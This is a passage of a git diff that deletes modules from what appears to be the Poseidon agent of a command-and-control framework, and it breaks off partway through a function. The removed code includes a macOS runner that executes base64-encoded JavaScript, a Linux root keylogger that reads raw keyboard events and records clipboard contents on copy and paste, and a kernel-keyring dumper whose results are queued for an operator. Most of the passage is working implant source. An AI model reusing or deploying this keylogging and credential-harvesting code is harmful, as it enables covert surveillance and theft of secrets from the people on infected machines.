- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/jxa/jxa_darwin.go b/Payload_Types/poseidon/agent_code/jxa/jxa_darwin.go
deleted file mode 100755
index bcf1e1105..000000000
--- a/Payload_Types/poseidon/agent_code/jxa/jxa_darwin.go
+++ /dev/null
@@ -1,44 +0,0 @@
-// +build darwin
-
-package jxa
-
-/*
-#cgo CFLAGS: -x objective-c -fmacro-backtrace-limit=0 -std=gnu11 -Wobjc-property-no-attribute -Wunguarded-availability-new
-#cgo LDFLAGS: -framework Foundation -framework OSAKit
-#include "jxa_wrapper_darwin.h"
-*/
-import "C"
-
-import (
- "encoding/base64"
-)
-
-type JxaRunDarwin struct {
- Successful bool
- Results string
-}
-
-func (j *JxaRunDarwin) Success() bool {
- return j.Successful
-}
-
-func (j *JxaRunDarwin) Result() string {
- return j.Results
-}
-
-func runCommand(encpayload string) (JxaRunDarwin, error) {
- rawpayload, err := base64.StdEncoding.DecodeString(encpayload)
- if err != nil {
- empty := JxaRunDarwin{}
- return empty, err
- }
-
- cpayload := C.CString(string(rawpayload))
- cresult := C.runjs(cpayload)
- result := C.GoString(cresult)
-
- r := JxaRunDarwin{}
- r.Successful = true
- r.Results = result
- return r, nil
-}
diff --git a/Payload_Types/poseidon/agent_code/jxa/jxa_linux.go b/Payload_Types/poseidon/agent_code/jxa/jxa_linux.go
deleted file mode 100755
index 9ec0cb6cc..000000000
--- a/Payload_Types/poseidon/agent_code/jxa/jxa_linux.go
+++ /dev/null
@@ -1,28 +0,0 @@
-// +build linux
-
-package jxa
-
-import (
- "errors"
-)
-
-type JxaRunLinux struct {
- Successful bool
- Resultstring string
-}
-
-func (j *JxaRunLinux) Success() bool {
- return j.Successful
-}
-
-func (j *JxaRunLinux) Result() string {
- return j.Resultstring
-}
-
-
-func runCommand(encpayload string) (JxaRunLinux, error) {
- n := JxaRunLinux{}
- n.Resultstring = ""
- n.Successful = false
- return n, errors.New("Not implemented")
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/jxa/jxa_wrapper_darwin.h b/Payload_Types/poseidon/agent_code/jxa/jxa_wrapper_darwin.h
deleted file mode 100755
index 3b3b8bd4c..000000000
--- a/Payload_Types/poseidon/agent_code/jxa/jxa_wrapper_darwin.h
+++ /dev/null
@@ -1,14 +0,0 @@
-//
-// main.h
-// jxatest
-//
-// Created by xorrior on 2/8/20.
-// Copyright © 2020 xorrior. All rights reserved.
-//
-
-#ifndef main_h
-#define main_h
-
-extern char* runjs(char *s);
-
-#endif /* main_h */
diff --git a/Payload_Types/poseidon/agent_code/jxa/jxa_wrapper_darwin.m b/Payload_Types/poseidon/agent_code/jxa/jxa_wrapper_darwin.m
deleted file mode 100644
index ff9fd21ae..000000000
--- a/Payload_Types/poseidon/agent_code/jxa/jxa_wrapper_darwin.m
+++ /dev/null
@@ -1,26 +0,0 @@
-#import
-#import
-#include "jxa_wrapper_darwin.h"
-
-char* runjs(char *s) {
- @try {
- NSString *codeString = [NSString stringWithUTF8String:s];
- OSALanguage *lang = [OSALanguage languageForName:@"JavaScript"];
- OSAScript *script = [[OSAScript alloc] initWithSource:codeString language:lang];
-
- NSDictionary *__autoreleasing runError =nil;
- NSAppleEventDescriptor* res = [script executeAndReturnError:&runError];
-
- if ([runError count] > 0) {
-
- NSString *result = runError[@"OSAScriptErrorMessageKey"];
- return [result UTF8String];
- }
- NSString* fmtString = [NSString stringWithFormat:@"%@", res];
- char* output = [fmtString UTF8String];
- return output;
- } @catch (NSException *exception) {
- return [[exception reason] UTF8String];
- }
-
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard.go b/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard.go
deleted file mode 100755
index d7907d3a7..000000000
--- a/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard.go
+++ /dev/null
@@ -1,20 +0,0 @@
-// Copyright 2013 @atotto. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-// Package clipboard read/write on clipboard
-package clipboard
-
-// ReadAll read string from clipboard
-func ReadAll() (string, error) {
- return readAll()
-}
-
-// WriteAll write string to clipboard
-func WriteAll(text string) error {
- return writeAll(text)
-}
-
-// Unsupported might be set true during clipboard init, to help callers decide
-// whether or not to offer clipboard options.
-var Unsupported bool
diff --git a/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard_darwin.go b/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard_darwin.go
deleted file mode 100755
index 6f33078db..000000000
--- a/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard_darwin.go
+++ /dev/null
@@ -1,52 +0,0 @@
-// Copyright 2013 @atotto. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-// +build darwin
-
-package clipboard
-
-import (
- "os/exec"
-)
-
-var (
- pasteCmdArgs = "pbpaste"
- copyCmdArgs = "pbcopy"
-)
-
-func getPasteCommand() *exec.Cmd {
- return exec.Command(pasteCmdArgs)
-}
-
-func getCopyCommand() *exec.Cmd {
- return exec.Command(copyCmdArgs)
-}
-
-func readAll() (string, error) {
- pasteCmd := getPasteCommand()
- out, err := pasteCmd.Output()
- if err != nil {
- return "", err
- }
- return string(out), nil
-}
-
-func writeAll(text string) error {
- copyCmd := getCopyCommand()
- in, err := copyCmd.StdinPipe()
- if err != nil {
- return err
- }
-
- if err := copyCmd.Start(); err != nil {
- return err
- }
- if _, err := in.Write([]byte(text)); err != nil {
- return err
- }
- if err := in.Close(); err != nil {
- return err
- }
- return copyCmd.Wait()
-}
diff --git a/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard_unix.go b/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard_unix.go
deleted file mode 100755
index 3c7b24e84..000000000
--- a/Payload_Types/poseidon/agent_code/keylog/clipboard/clipboard_unix.go
+++ /dev/null
@@ -1,129 +0,0 @@
-// Copyright 2013 @atotto. All rights reserved.
-// Use of this source code is governed by a BSD-style
-// license that can be found in the LICENSE file.
-
-// +build freebsd linux netbsd openbsd solaris dragonfly
-
-package clipboard
-
-import (
- "errors"
- "os"
- "os/exec"
-)
-
-const (
- xsel = "xsel"
- xclip = "xclip"
- wlcopy = "wl-copy"
- wlpaste = "wl-paste"
- termuxClipboardGet = "termux-clipboard-get"
- termuxClipboardSet = "termux-clipboard-set"
-)
-
-var (
- Primary bool
-
- pasteCmdArgs []string
- copyCmdArgs []string
-
- xselPasteArgs = []string{xsel, "--output", "--clipboard"}
- xselCopyArgs = []string{xsel, "--input", "--clipboard"}
-
- xclipPasteArgs = []string{xclip, "-out", "-selection", "clipboard"}
- xclipCopyArgs = []string{xclip, "-in", "-selection", "clipboard"}
-
- wlpasteArgs = []string{wlpaste, "--no-newline"}
- wlcopyArgs = []string{wlcopy}
-
- termuxPasteArgs = []string{termuxClipboardGet}
- termuxCopyArgs = []string{termuxClipboardSet}
-
- missingCommands = errors.New("No clipboard utilities available. Please install xsel, xclip, wl-clipboard or Termux:API add-on for termux-clipboard-get/set.")
-)
-
-func init() {
- if os.Getenv("WAYLAND_DISPLAY") != "" {
- pasteCmdArgs = wlpasteArgs
- copyCmdArgs = wlcopyArgs
-
- if _, err := exec.LookPath(wlcopy); err == nil {
- if _, err := exec.LookPath(wlpaste); err == nil {
- return
- }
- }
- }
-
- pasteCmdArgs = xclipPasteArgs
- copyCmdArgs = xclipCopyArgs
-
- if _, err := exec.LookPath(xclip); err == nil {
- return
- }
-
- pasteCmdArgs = xselPasteArgs
- copyCmdArgs = xselCopyArgs
-
- if _, err := exec.LookPath(xsel); err == nil {
- return
- }
-
- pasteCmdArgs = termuxPasteArgs
- copyCmdArgs = termuxCopyArgs
-
- if _, err := exec.LookPath(termuxClipboardSet); err == nil {
- if _, err := exec.LookPath(termuxClipboardGet); err == nil {
- return
- }
- }
-
- Unsupported = true
-}
-
-func getPasteCommand() *exec.Cmd {
- if Primary {
- pasteCmdArgs = pasteCmdArgs[:1]
- }
- return exec.Command(pasteCmdArgs[0], pasteCmdArgs[1:]...)
-}
-
-func getCopyCommand() *exec.Cmd {
- if Primary {
- copyCmdArgs = copyCmdArgs[:1]
- }
- return exec.Command(copyCmdArgs[0], copyCmdArgs[1:]...)
-}
-
-func readAll() (string, error) {
- if Unsupported {
- return "", missingCommands
- }
- pasteCmd := getPasteCommand()
- out, err := pasteCmd.Output()
- if err != nil {
- return "", err
- }
- return string(out), nil
-}
-
-func writeAll(text string) error {
- if Unsupported {
- return missingCommands
- }
- copyCmd := getCopyCommand()
- in, err := copyCmd.StdinPipe()
- if err != nil {
- return err
- }
-
- if err := copyCmd.Start(); err != nil {
- return err
- }
- if _, err := in.Write([]byte(text)); err != nil {
- return err
- }
- if err := in.Close(); err != nil {
- return err
- }
- return copyCmd.Wait()
-}
diff --git a/Payload_Types/poseidon/agent_code/keylog/keylog.go b/Payload_Types/poseidon/agent_code/keylog/keylog.go
deleted file mode 100755
index fff6227ec..000000000
--- a/Payload_Types/poseidon/agent_code/keylog/keylog.go
+++ /dev/null
@@ -1,41 +0,0 @@
-package keylog
-
-import (
- "encoding/json"
- "pkg/profiles"
- "fmt"
-
- "keylog/keystate"
- "pkg/utils/structs"
- "sync"
-)
-
-var mu sync.Mutex
-
-//Run - Function that executes the shell command
-func Run(task structs.Task) {
-
- msg := structs.Response{}
- msg.TaskID = task.TaskID
-
- err := keystate.StartKeylogger(task)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- msg.Completed = true
- msg.UserOutput = fmt.Sprintf("Started keylogger.")
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/keylog/keystate/keystate.go b/Payload_Types/poseidon/agent_code/keylog/keystate/keystate.go
deleted file mode 100755
index 9e4518de6..000000000
--- a/Payload_Types/poseidon/agent_code/keylog/keystate/keystate.go
+++ /dev/null
@@ -1,158 +0,0 @@
-package keystate
-
-import (
- "encoding/json"
- "errors"
- "fmt"
-
- //"log"
- "os/user"
- "sync"
- "time"
-
- "pkg/utils/structs"
- "pkg/profiles"
-)
-
-var (
- curTask *structs.Task
- // Struct to monitor keystrokes.
- ksmonitor, _ = NewKeyLog()
- // Maps strings to their shift counter-parts on US keyboards.
- shiftMap = map[string]string{
- "a": "A",
- "b": "B",
- "c": "C",
- "d": "D",
- "e": "E",
- "f": "F",
- "g": "G",
- "h": "H",
- "i": "I",
- "j": "J",
- "k": "K",
- "l": "L",
- "m": "M",
- "n": "N",
- "o": "O",
- "p": "P",
- "q": "Q",
- "r": "R",
- "s": "S",
- "t": "T",
- "u": "U",
- "v": "V",
- "w": "W",
- "x": "X",
- "y": "Y",
- "z": "Z",
- "1": "!",
- "2": "@",
- "3": "#",
- "4": "$",
- "5": "%",
- "6": "^",
- "7": "&",
- "8": "*",
- "9": "(",
- "0": ")",
- "-": "_",
- "=": "+",
- "[": "{",
- "]": "}",
- "\\": "|",
- ";": ":",
- "'": "\"",
- ",": "<",
- ".": ">",
- "/": "?",
- "`": "~",
- }
-)
-
-type KeyLog struct {
- User string `json:"user"`
- WindowTitle string `json:"window_title"`
- Keystrokes string `json:"keystrokes"`
- mtx sync.Mutex
-}
-
-type serializableKeyLog struct {
- User string `json:"user"`
- WindowTitle string `json:"window_title"`
- Keystrokes string `json:"keystrokes"`
-}
-
-func (k *KeyLog) AddKeyStrokes(s string) {
- k.mtx.Lock()
- k.Keystrokes += s
- k.mtx.Unlock()
-}
-
-func (k *KeyLog) ToSerialStruct() serializableKeyLog {
- return serializableKeyLog{
- User: k.User,
- WindowTitle: k.WindowTitle,
- Keystrokes: k.Keystrokes,
- }
-}
-
-func (k *KeyLog) SetWindowTitle(s string) {
- k.mtx.Lock()
- k.WindowTitle = s
- k.mtx.Unlock()
-}
-
-func (k *KeyLog) SendMessage() {
- serMsg := ksmonitor.ToSerialStruct()
- msg := structs.Response{}
- msg.TaskID = curTask.TaskID
- data, err := json.MarshalIndent(serMsg, "", " ")
- //log.Println("Sending across the wire:", string(data))
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Status = "error"
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- } else {
- profiles.TaskResponses = append(profiles.TaskResponses, data)
- }
-}
-
-func NewKeyLog() (KeyLog, error) {
- curUser, err := user.Current()
- if err != nil {
- return KeyLog{}, err
- }
- return KeyLog{
- User: curUser.Username,
- WindowTitle: "",
- Keystrokes: "",
- }, nil
-}
-
-func StartKeylogger(task structs.Task) error {
- // This function is responsible for dumping output.
- if curTask != nil && curTask.Job.Monitoring {
- return errors.New(fmt.Sprintf("Keylogger already running with task ID: %s", curTask.TaskID))
- }
-
- go func() {
- for {
- timer := time.NewTimer(time.Minute)
- <-timer.C
- if ksmonitor.Keystrokes != "" {
- ksmonitor.mtx.Lock()
- ksmonitor.SendMessage()
- ksmonitor.Keystrokes = ""
- ksmonitor.mtx.Unlock()
- }
- if *task.Job.Stop > 0 {
- break
- }
- }
- }()
- err := keyLogger()
- return err
-}
diff --git a/Payload_Types/poseidon/agent_code/keylog/keystate/keystate_darwin.go b/Payload_Types/poseidon/agent_code/keylog/keystate/keystate_darwin.go
deleted file mode 100755
index 79144222d..000000000
--- a/Payload_Types/poseidon/agent_code/keylog/keystate/keystate_darwin.go
+++ /dev/null
@@ -1,9 +0,0 @@
-// +build darwin
-package keystate
-
-
-import "errors"
-
-func keyLogger() error {
- return errors.New("Not implemented.")
-}
\ No newline at end of file
diff --git a/Payload_Types/poseidon/agent_code/keylog/keystate/keystate_unix.go b/Payload_Types/poseidon/agent_code/keylog/keystate/keystate_unix.go
deleted file mode 100755
index 8b6a53ed4..000000000
--- a/Payload_Types/poseidon/agent_code/keylog/keystate/keystate_unix.go
+++ /dev/null
@@ -1,421 +0,0 @@
-// +build linux
-
-// This is taken from MarinX/keylogger
-package keystate
-
-import (
- "bytes"
- "encoding/binary"
- "errors"
- "fmt"
- "io/ioutil"
- "log"
- "os"
- "strings"
- "syscall"
- "unicode"
- "unsafe"
-
- "keylog/clipboard"
-)
-
-const (
- // EvSyn is used as markers to separate events. Events may be separated in time or in space, such as with the multitouch protocol.
- EvSyn EventType = 0x00
- // EvKey is used to describe state changes of keyboards, buttons, or other key-like devices.
- EvKey EventType = 0x01
- // EvRel is used to describe relative axis value changes, e.g. moving the mouse 5 units to the left.
- EvRel EventType = 0x02
- // EvAbs is used to describe absolute axis value changes, e.g. describing the coordinates of a touch on a touchscreen.
- EvAbs EventType = 0x03
- // EvMsc is used to describe miscellaneous input data that do not fit into other types.
- EvMsc EventType = 0x04
- // EvSw is used to describe binary state input switches.
- EvSw EventType = 0x05
- // EvLed is used to turn LEDs on devices on and off.
- EvLed EventType = 0x11
- // EvSnd is used to output sound to devices.
- EvSnd EventType = 0x12
- // EvRep is used for autorepeating devices.
- EvRep EventType = 0x14
- // EvFf is used to send force feedback commands to an input device.
- EvFf EventType = 0x15
- // EvPwr is a special type for power button and switch input.
- EvPwr EventType = 0x16
- // EvFfStatus is used to receive force feedback device status.
- EvFfStatus EventType = 0x17
-)
-
-// EventType are groupings of codes under a logical input construct.
-// Each type has a set of applicable codes to be used in generating events.
-// See the Ev section for details on valid codes for each type
-type EventType uint16
-
-// eventsize is size of structure of InputEvent
-var eventsize = int(unsafe.Sizeof(InputEvent{}))
-
-// InputEvent is the keyboard event structure itself
-type InputEvent struct {
- Time syscall.Timeval
- Type EventType
- Code uint16
- Value int32
-}
-
-// KeyString returns representation of pressed key as string
-// eg enter, space, a, b, c...
-func (i *InputEvent) KeyString() string {
- return keyCodeMap[i.Code]
-}
-
-// KeyPress is the value when we press the key on keyboard
-func (i *InputEvent) KeyPress() bool {
- return i.Value == 1
-}
-
-// KeyRelease is the value when we release the key on keyboard
-func (i *InputEvent) KeyRelease() bool {
- return i.Value == 0
-}
-
-type KeyLogger struct {
- fd *os.File
-}
-
-// New creates a new keylogger for a device path
-func New(devPath string) (*KeyLogger, error) {
- k := &KeyLogger{}
- if !k.IsRoot() {
- return nil, errors.New("Must be run as root")
- }
- fd, err := os.Open(devPath)
- k.fd = fd
- return k, err
-}
-
-// FindKeyboardDevice by going through each device registered on OS
-// Mostly it will contain keyword - keyboard
-// Returns the file path which contains events
-func FindKeyboardDevice() string {
- path := "/sys/class/input/event%d/device/name"
- resolved := "/dev/input/event%d"
-
- for i := 0; i < 255; i++ {
- buff, err := ioutil.ReadFile(fmt.Sprintf(path, i))
- if err != nil {
- log.Println(err.Error())
- }
- if strings.Contains(strings.ToLower(string(buff)), "keyboard") {
- return fmt.Sprintf(resolved, i)
- }
- }
- return ""
-}
-
-// IsRoot checks if the process is run with root permission
-func (k *KeyLogger) IsRoot() bool {
- return syscall.Getuid() == 0 && syscall.Geteuid() == 0
-}
-
-// Read from file descriptor
-// Blocking call, returns channel
-// Make sure to close channel when finish
-func (k *KeyLogger) Read() chan InputEvent {
- event := make(chan InputEvent)
- go func(event chan InputEvent) {
- for {
- e, err := k.read()
- if err != nil {
- log.Println(err.Error())
- close(event)
- break
- }
-
- if e != nil {
- event <- *e
- }
- }
- }(event)
- return event
-}
-
-// read from file description and parse binary into go struct
-func (k *KeyLogger) read() (*InputEvent, error) {
- buffer := make([]byte, eventsize)
- n, err := k.fd.Read(buffer)
- if err != nil {
- return nil, err
- }
- // no input, dont send error
- if n <= 0 {
- return nil, nil
- }
- return k.eventFromBuffer(buffer)
-}
-
-// eventFromBuffer parser bytes into InputEvent struct
-func (k *KeyLogger) eventFromBuffer(buffer []byte) (*InputEvent, error) {
- event := &InputEvent{}
- err := binary.Read(bytes.NewBuffer(buffer), binary.LittleEndian, event)
- return event, err
-}
-
-// Close file descriptor
-func (k *KeyLogger) Close() error {
- if k.fd == nil {
- return nil
- }
- return k.fd.Close()
-}
-
-var keyCodeMap = map[uint16]string{
- 1: "ESC",
- 2: "1",
- 3: "2",
- 4: "3",
- 5: "4",
- 6: "5",
- 7: "6",
- 8: "7",
- 9: "8",
- 10: "9",
- 11: "0",
- 12: "-",
- 13: "=",
- 14: "BS",
- 15: "TAB",
- 16: "Q",
- 17: "W",
- 18: "E",
- 19: "R",
- 20: "T",
- 21: "Y",
- 22: "U",
- 23: "I",
- 24: "O",
- 25: "P",
- 26: "[",
- 27: "]",
- 28: "ENTER",
- 29: "L_CTRL",
- 30: "A",
- 31: "S",
- 32: "D",
- 33: "F",
- 34: "G",
- 35: "H",
- 36: "J",
- 37: "K",
- 38: "L",
- 39: ";",
- 40: "'",
- 41: "`",
- 42: "L_SHIFT",
- 43: "\\",
- 44: "Z",
- 45: "X",
- 46: "C",
- 47: "V",
- 48: "B",
- 49: "N",
- 50: "M",
- 51: ",",
- 52: ".",
- 53: "/",
- 54: "R_SHIFT",
- 55: "*",
- 56: "L_ALT",
- 57: "SPACE",
- 58: "CAPS_LOCK",
- 59: "F1",
- 60: "F2",
- 61: "F3",
- 62: "F4",
- 63: "F5",
- 64: "F6",
- 65: "F7",
- 66: "F8",
- 67: "F9",
- 68: "F10",
- 69: "NUM_LOCK",
- 70: "SCROLL_LOCK",
- 71: "HOME",
- 72: "UP_8",
- 73: "PGUP_9",
- 74: "-",
- 75: "LEFT_4",
- 76: "5",
- 77: "RT_ARROW_6",
- 78: "+",
- 79: "END_1",
- 80: "DOWN",
- 81: "PGDN_3",
- 82: "INS",
- 83: "DEL",
- 84: "",
- 85: "",
- 86: "",
- 87: "F11",
- 88: "F12",
- 89: "",
- 90: "",
- 91: "",
- 92: "",
- 93: "",
- 94: "",
- 95: "",
- 96: "R_ENTER",
- 97: "R_CTRL",
- 98: "/",
- 99: "PRT_SCR",
- 100: "R_ALT",
- 101: "",
- 102: "Home",
- 103: "Up",
- 104: "PgUp",
- 105: "Left",
- 106: "Right",
- 107: "End",
- 108: "Down",
- 109: "PgDn",
- 110: "Insert",
- 111: "Del",
- 112: "",
- 113: "",
- 114: "",
- 115: "",
- 116: "",
- 117: "",
- 118: "",
- 119: "Pause",
-}
-
-func keystateMonitor(k *KeyLogger) {
- defer k.Close()
-
- // Create temp file for recording results.
- // tmpfile, err := ioutil.TempFile("/tmp/", "tmp.")
- // if err != nil {
- // log.Fatal(err)
- // }
-
- // logrus.Println("Initialized log file:", tmpfile.Name())
-
- events := k.Read()
-
- l_cntrl := false
- c := false
- shift := false
- capslock := false
- var keychar string
- // range of events
- // logrus.Println("Initialized. Listening for events...")
- for e := range events {
- if *curTask.Job.Stop > 0 {
- break
- }
- switch e.Type {
- // EvKey is used to describe state changes of keyboards, buttons, or other key-like devices.
- // check the input_event.go for more events
- case EvKey:
-
- // if the state of key is pressed
- if e.KeyPress() {
- keychar = e.KeyString()
- if keychar == "L_CTRL" {
- l_cntrl = true
- } else if keychar == "C" && l_cntrl {
- c = true
- } else if l_cntrl && keychar != "C" {
- l_cntrl = false
- c = false
- } else if keychar == "L_SHIFT" || keychar == "R_SHIFT" {
- shift = true
- } else if keychar == "CAPS_LOCK" {
- capslock = !capslock
- }
- if keychar == "SPACE" {
- ksmonitor.AddKeyStrokes(" ")
- // fmt.Print(" ")
- } else {
- if len(keychar) > 1 && keychar != "L_SHIFT" && keychar != "R_SHIFT" {
- ksmonitor.AddKeyStrokes("[" + keychar + "]")
- // fmt.Printf("[%s]", keychar)
- } else {
- if l_cntrl && c {
- contents, err := clipboard.ReadAll()
- if err == nil {
- ksmonitor.AddKeyStrokes("[COPY]" + contents + "[/COPY]")
- } else {
- log.Println(err.Error())
- }
- } else if l_cntrl && keychar == "P" {
- contents, err := clipboard.ReadAll()
- if err == nil {
- ksmonitor.AddKeyStrokes("[PASTE]" + contents + "[/PASTE]")
- } else {
- log.Println(err.Error())
- }
- } else if shift {
- if IsLetter(keychar) {
- ksmonitor.AddKeyStrokes(keychar)
- // fmt.Print(keychar)
- } else {
- ksmonitor.AddKeyStrokes(shiftMap[strings.ToLower(keychar)])
- // fmt.Print(shiftMap[keychar])
- }
- } else if capslock {
- ksmonitor.AddKeyStrokes(keychar)
- // fmt.Print(keychar)
- } else {
- ksmonitor.AddKeyStrokes(strings.ToLower(keychar))
- // fmt.Print(strings.ToLower(keychar))
- }
- }
- }
- if keychar == "ENTER" {
- ksmonitor.AddKeyStrokes("\n")
- }
- // logrus.Println("[event] press key ", e.KeyString())
- }
-
- // if the state of key is released
- if e.KeyRelease() {
- keychar = e.KeyString()
- if keychar == "L_SHIFT" || keychar == "R_SHIFT" {
- shift = false
- }
- // logrus.Println("[event] release key ", e.KeyString())
- }
-
- break
- }
- }
-}
-
-func keyLogger() error {
- keyboard := FindKeyboardDevice()
-
- // check if we found a path to keyboard
- if len(keyboard) <= 0 {
- return errors.New("No keyboard found...you will need to provide manual input path")
- }
-
- // logrus.Println("Found a keyboard at", keyboard)
- // init keylogger with keyboard
- k, err := New(keyboard)
- if err != nil {
- return err
- }
- go keystateMonitor(k)
- return nil
-}
-
-func IsLetter(s string) bool {
- for _, r := range s {
- if !unicode.IsLetter(r) {
- return false
- }
- }
- return true
-}
diff --git a/Payload_Types/poseidon/agent_code/keys/keys.go b/Payload_Types/poseidon/agent_code/keys/keys.go
deleted file mode 100755
index 10a02a164..000000000
--- a/Payload_Types/poseidon/agent_code/keys/keys.go
+++ /dev/null
@@ -1,66 +0,0 @@
-package keys
-
-import (
- "encoding/json"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-var mu sync.Mutex
-
-//KeyInformation - interface for key data
-type KeyInformation interface {
- KeyType() string
- Data() []byte
-}
-
-//Options - options for key data command
-type Options struct {
- Command string `json:"command"`
- Keyword string `json:"keyword"`
- Typename string `json:"typename"`
-}
-
-//Run - extract key data
-func Run(task structs.Task) {
- //Check if the types are available
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- opts := Options{}
- err := json.Unmarshal([]byte(task.Params), &opts)
-
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- res, err := getkeydata(opts)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- msg.Completed = true
- msg.UserOutput = string(res.Data())
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/keys/keys_darwin.go b/Payload_Types/poseidon/agent_code/keys/keys_darwin.go
deleted file mode 100755
index 44ef09e29..000000000
--- a/Payload_Types/poseidon/agent_code/keys/keys_darwin.go
+++ /dev/null
@@ -1,22 +0,0 @@
-// +build darwin
-
-package keys
-
-type DarwinKeyOperation struct {
- KeyType string
- KeyData []byte
-}
-
-// TODO: Implement function to enumerate macos keychain
-func (d *DarwinKeyOperation) Type() string {
- return d.KeyType
-}
-
-func (d *DarwinKeyOperation) Data() []byte {
- return d.KeyData
-}
-
-func getkeydata(opt Options) (DarwinKeyOperation, error) {
- d := DarwinKeyOperation{}
- return d, nil
-}
diff --git a/Payload_Types/poseidon/agent_code/keys/keys_linux.go b/Payload_Types/poseidon/agent_code/keys/keys_linux.go
deleted file mode 100755
index 902f76ff9..000000000
--- a/Payload_Types/poseidon/agent_code/keys/keys_linux.go
+++ /dev/null
@@ -1,368 +0,0 @@
-// +build linux
-
-package keys
-
-import (
- "encoding/base64"
- "encoding/json"
- "log"
-
- "github.com/xorrior/keyctl"
-)
-
-//Keyresults - struct to hold array of keys
-type Keyresults struct {
- Results []Keydetails `json:"results"`
-}
-
-//Keydetails - struct that holds information about a key
-type Keydetails struct {
- Name string `json:"name"`
- ID int32 `json:"id"`
- Permissions Permissiondetails `json:"permissions"`
- Keytype string `json:"keytype"`
- UID int `json:"uid"`
- Valid bool `json:"valid"`
- Data string `json:"string"`
-}
-
-//Permissiondetails - struct that holds permission details for a given key
-type Permissiondetails struct {
- User string `json:"user"`
- Process string `json:"process"`
- Other string `json:"other"`
- Group string `json:"group"`
-}
-
-//KeyContents - struct that represent raw key contents
-type LinuxKeyInformation struct {
- KeyType string
- KeyData []byte
-}
-
-//Type - The type of key information. Keyring or keychain
-func (l *LinuxKeyInformation) Type() string {
- return l.KeyType
-}
-
-//KeyData - Retrieve the keydata as a raw json string
-func (l *LinuxKeyInformation) Data() []byte {
- return l.KeyData
-}
-
-func getkeydata(opts Options) (LinuxKeyInformation, error) {
- //Check if the types are available
- d := LinuxKeyInformation{}
- switch opts.Command {
- case "dumpsession":
- keys, err := ListKeysForSession()
- if err != nil {
- return d, err
- }
-
- r := Keyresults{}
- r.Results = keys
-
- jsonKeys, err := json.MarshalIndent(r, "", " ")
- if err != nil {
- return d, err
- }
-
- d.KeyData = jsonKeys
- d.KeyType = "keyring"
- break
- case "dumpuser":
- keys, err := ListKeysForUserSession()
- if err != nil {
- return d, err
- }
-
- r := Keyresults{}
- r.Results = keys
-
- jsonKeys, err := json.MarshalIndent(r, "", " ")
- if err != nil {
- return d, err
- }
-
- d.KeyData = jsonKeys
- d.KeyType = "keyring"
- break
- case "search":
- key, err := Searchcurrentsessionkeyring(opts.Keyword)
- if err != nil {
- return d, err
- }
-
- r := Keyresults{}
- r.Results = key
-
- jsonKeys, err := json.MarshalIndent(r, "", " ")
- if err != nil {
- return d, err
- }
-
- d.KeyData = jsonKeys
- d.KeyType = "keyring"
- break
- case "searchwithtype":
- key, err := Searchforkeywithtype(opts.Keyword, opts.Typename)
- if err != nil {
- return d, err
- }
-
- r := Keyresults{}
- r.Results = key
-
- jsonKeys, err := json.MarshalIndent(r, "", " ")
- if err != nil {
- return d, err
- }
-
- d.KeyData = jsonKeys
- d.KeyType = "keyring"
- break
- case "dumpprocess":
- keys, err := ListKeysForProcess()
- if err != nil {
- return d, err
- }
-
- r := Keyresults{}
- r.Results = keys
-
- jsonKeys, err := json.MarshalIndent(r, "", " ")
- if err != nil {
- return d, err
- }
-
- d.KeyData = jsonKeys
- d.KeyType = "keyring"
- break
-
- case "dumpthreads":
- keys, err := ListKeysForThreads()
- if err != nil {
- return d, err
- }
-
- r := Keyresults{}
- r.Results = keys
-
- jsonKeys, err := json.MarshalIndent(r, "", " ")
- if err != nil {
- return d, err
- }
-
- d.KeyData = jsonKeys
- d.KeyType = "keyring"
- break
- }
-
- return d, nil
-}
-
-//ListKeysForSession - List all of the keys for the current session
-func ListKeysForSession() ([]Keydetails, error) {
- keyring, err := keyctl.SessionKeyring()
-
- if err != nil {
- log.Printf("Failed to get session keyring: %s", err.Error())
- return nil, err
- }
-
- keys, err := keyctl.ListKeyring(keyring)
-
- if err != nil {
- log.Printf("Unable to get key contents")
- return nil, err
- }
-
- res := make([]Keydetails, len(keys))
-
- for i, key := range keys {
- info, _ := key.Info()
- res[i].Name = info.Name
- res[i].ID = key.Id
- res[i].Keytype = info.Type
- res[i].UID = info.Uid
- res[i].Valid = info.Valid()
- res[i].Permissions.User = info.Perm.User()
- res[i].Permissions.Group = info.Perm.Group()
- res[i].Permissions.Process = info.Perm.Process()
- res[i].Permissions.Other = info.Perm.Other()
-
- }
-
